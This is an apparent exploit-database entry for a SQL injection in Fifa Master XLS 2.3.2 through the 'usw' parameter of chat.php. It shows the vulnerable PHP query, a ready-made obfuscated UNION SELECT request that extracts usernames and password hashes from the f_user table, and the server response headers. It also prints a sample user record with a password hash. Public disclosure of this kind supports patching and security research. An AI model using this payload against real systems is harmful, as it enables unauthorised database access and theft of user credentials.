Fifa Master XLS 2.3.2 - 'usw' SQL Injection

# Exploit Title: Fifa Master XLS 2.3.2 - 'usw' SQL Injection
# Dork: N/A
# Date: 2018-10-24
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://fankstribe.org/
# Software Link: https://sourceforge.net/projects/fifamasterxls/files/latest/download
# Version: 2.3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/chat.php?action=chatname&usw=[SQL]
# 
# Registered users can run...
/* `exploitdb`.`f_user` */
$f_user = array(
  array('userID' => '2','access' => 'Registered','userName' => 'efe','firstname' => 'efe','lastName' => 'efe','userEmail' => '[email protected]','userPassword' => 'a0b92793d636e4ccee294c6548cb35b3','avatar' => '0.jpg','ban' => '0')
);
# 

# [PATH]/chat.php 166
# 
# 163 function chatName() {
# 164 	$un = '';
# 165 	global $con;
# 166 $su=$_GET['usw'];
# 167 
# 168 $sc2=mysql_query("select userName from f_user where userID='$su' limit 1");
# 169 while($row_sc2=mysql_fetch_array($sc2))
# 170 {

# [PATH]/js/chat.js 337
# 
# 336 jQuery.ajax({
# 337 url: "chat.php?action=chatname&usw="+item.f,
# 338 cache: false,
# 339 dataType: "json",
# 340 async: false,
# 341 success: function(data)
  
GET /[PATH]/chat.php?action=chatname&usw=-%27++uNiOn+sElecT++(seLEcT(@x)FRom(SElecT(@x:=0x00)%20,(sELeCt(@x)fRom(f_user)whERe(@x)In(@x:=conCat(0x20,@x,0x557365726e616d653a20,userName,0x3c62723e,0x506173733a20,userPassword,0x3c62723e))))x)--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=io5hsssef7l7nich1si2gk99k5
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 23 Oct 2018 00:12:37 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 148
Keep-Alive: timeout=5, max=1
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8